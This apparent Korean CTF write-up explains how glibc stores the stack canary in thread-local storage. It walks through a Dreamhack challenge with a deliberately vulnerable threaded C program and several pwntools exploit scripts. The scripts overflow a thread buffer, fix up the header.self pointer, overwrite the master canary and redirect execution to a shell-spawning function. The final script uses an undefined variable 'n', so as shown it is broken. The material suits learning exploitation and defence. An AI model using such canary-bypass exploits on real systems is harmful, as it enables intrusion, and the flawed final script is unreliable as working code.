새소식

인기 검색어

Hacking/System

Master Canary

  • -
반응형

Master Canary

스택 버퍼를 사용하는 모든 함수에서 같은 카나리 값을 사용한다. 이러한 특징 때문에 임의 함수에서 메모리 릭으로 카나리를 알아낼 수 있다면 다른 함수에서 발생하는 스택 버퍼 오버플로우에서 카나리를 덮어쓰고 실행 흐름을 조작할 수 있다.

SSP 동작원리를 살펴보면 버퍼를 사용하는 함수의 프롤로그에서 fs:0x28에 위치하는 값을 가져와서 rbp바로 앞에 삽입한다.

static void
security_init (void)
{
  /* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
  THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
  __stack_chk_guard = stack_chk_guard;
#endif

  /* Set up the pointer guard as well, if necessary.  */
  uintptr_t pointer_chk_guard
    = _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
#ifdef THREAD_SET_POINTER_GUARD
  THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#endif
  __pointer_chk_guard_local = pointer_chk_guard;

  /* We do not need the _dl_random value anymore.  The less
     information we leave behind, the better, so clear the
     variable.  */
  _dl_random = NULL;
}

security_init 함수를 보면 TLS 영역에 랜덤 한 카나리 값을 삽입한다.

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
  union
  {
    uintptr_t num;
    unsigned char bytes[sizeof (uintptr_t)];
  } ret = { 0 };

  if (dl_random == NULL)
    {
      ret.bytes[sizeof (ret) - 1] = 255;
      ret.bytes[sizeof (ret) - 2] = '\n';
    }
  else
    {
      memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
      ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
      ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
#else
# error "BYTE_ORDER unknown"
#endif
    }
  return ret.num;
}

그리고 security_init 함수에서 처음 호출하는 _dl_setup_stack_chk_guard 함수는 커널에서 생성한 랜덤 한 값을 가지는 포인터인 _dl_random을 인자로 카나리를 생성한다.

_dl_setup_stack_chk_guard 함수를 살펴보면 공용체 변수인 ret에 _dl_random의 데이터를 복사하고 이후 바이트 오더링에 따라 AND연산을 수행하는데, 리틀 앤디안인 경우 복사한 값의 첫 바이트를 NULL로 변환한다. 그래서 카나리의 첫 바이트가 NULL인 이유이다.

/* Set the stack guard field in TCB head.  */
#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

카나리 값을 설정한 후 THREAD_SET_STACK_GUARD 매크로를 통해 TLS+0x28 위치에 삽입한다.

함수 flow를 보면 위와 같다.

 

예제를 통해 master canary를 어떻게 변조하는지 살펴보자


Dreamhack - Master Canary

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void read_bytes(char *buf, int size) {
  int i;

  for (i = 0; i < size; i++)
    if (read(0, buf + i*8, 8) < 8)
      return;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

 

먼저 보호기법을 확인해 보자.

Canary가 설정되어 있고, NX bit가 설정되어 있다.

코드 분석

pthread_create 함수를 통해 스레드를 생성하여 thread_routine 함수를 실행한다. 그리고 입력한 Size에 8을 곱한 만큼 buf의 값을 입력할 수 있어서 bof가 발생한다.

익스플로잇 설계

  • 주소거리 계산

마스터 카나리를 덮기 위해서 스레드에 할당된 버퍼 주소와 마스터 카나리의 주소의 거리를 계산해야 한다.

  • 마스터 카나리 변조

거리를 계산했다면 마스터 카나리를 원하는 값으로 덮어씌운다.

  • RIP조작

스택 카나리를 변조한 마스터 카나리의 값으로 조작하고 giveshell 함수로 덮어써서 쉘을 획득한다.


1. 주소 거리 계산

thread_routine 함수를 살펴보면 스레드에서 생성된 buf의 주소를 $rbp-0x110에 위치한다. 그래서 디버깅을 통해 buf와 $fs_base+0x28의 주소 거리를 살펴보면 0x928만큼 차이 나는 것을 확인할 수 있다.

2. 마스터 카나리 변조

from pwn import *

p = process("./mc_thread")
e = ELF("./mc_thread")

payload = b'A'*0x928

inp = len(payload) // 8

p.sendlineafter(b"Size: ", str(inp).encode())
p.sendafter(b"Data: ", payload)

p.interactive()

해당 코드를 실행하면 rbp와 리턴 주소, 마스터 카나리를 전부 "A"로 덮는다.

stack smashing detecting 에러는 발생하지 않았지만 SIGSEGV가 발생했다. SIGSEGV가 발생하는 원인을 살펴보자.

core 파일을 확인해 원인을 분석해 보면 mov byte ptr [rax + 0x972], 0 부분에서 SIGSEV가 발생했다. 이유는 rax(0x4141414141414141 + 0x972)에 값을 쓰려고 했는데 해당 부분이 유효하지 않는 메모리 주소였기 때문이다.

tui 모드를 활용하여 에러 부분이 난 코드를 확인해 보면

glibc-2.25/nptl/cancellation.c의 self->canceltype = PTHREAD_CANCEL_DEFERRED에서 SIGSEGV가 발생하는 것을 확인할 수 있다.

cancellation.c의 코드를 살펴보면 self를 디리퍼런스하여 canceltype에 접근한 후 해당 메모리에 PTHREAD_CANCEL_DEFERRED를 쓰려고 한다. 이때 self가 우리가 입력한 0x4141414141414141로 덮이게 되고 self + 0x972 위치에 값을 쓰려고 하니까 SIGSEGV가 발생한다.

THREAD_SELF는 현재 스레드의 Thread Descriptor를 가져오는 매크로로, 정의를 살펴보면 fs 세그먼트에 레지스터에 저장된 값으로부터 struct pthread 구조체에서 header.self의 offset만큼 떨어진 위치의 값을 가져온다. 

$fs_base의 구조체를 살펴보면 header.self가 0x4141414141414141로 덮여 있는 것을 확인할 수 있다. 그래서 우리가 stack guard를 성공적으로 덮으려면 self를 덮음으로써 발생하는 SIGSEGV를 우회해야 하는 것을 확인할 수 있다.

buf와 $fs_base->header.self의 주소 거리 차이는 0x910이다. 그럼 self를 적절한 값으로 덮어서 self->canceltype을 유효한 메모리 주소를 가리키도록 만들어야 한다.

PIE가 적용되어있지 않아서 rw 권한이 있는 곳을 가리키게 하면 된다. 0x404000 ~ 0x405000 사이 적절한 주소를 사용하면 된다.

from pwn import *

p = process("./mc_thread")
e = ELF("./mc_thread")

payload = b'A'*0x910
payload += p64(0x404800 - 0x972) # self->canceltype
payload += b'B' * 0x10
payload += p64(0x4141414141414141) # master canary

inp = len(payload) // 8

p.sendlineafter(b"Size: ", str(inp).encode())

p.sendafter(b"Data: ", payload)

p.interactive()

해당 코드를 실행하면  RIP를 조작할 수 있게 되는 것을 확인할 수 있다.

마지막으로 RIP를 giveshell주소로 조작하면 쉘을 획득할 수 있다.

from pwn import *

p = remote("host3.dreamhack.games",14417)
#p = process("./mc_thread")
e = ELF("./mc_thread")

giveshell = e.symbols['giveshell']

payload = b'A'* 0x108
payload += b'A' * 0x8 # canary
payload += b'B' * 0x8
payload += p64(giveshell)
payload += b'A' * (n - len(payload))
payload += p64(0x404f80 - 0x972) # self->canceltype
payload += b'C' * 0x10
payload += p64(0x4141414141414141) # master canary

inp = len(payload) // 8

p.sendlineafter(b"Size: ", str(inp).encode())

p.sendafter(b"Data: ", payload)

p.interactive()

 

반응형

'Hacking > System' 카테고리의 다른 글

Calling Convention  (0) 2023.08.21
unsorted bin attack  (0) 2023.05.30
Unsafe unlink  (0) 2023.05.23
Double Free  (0) 2023.04.18
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.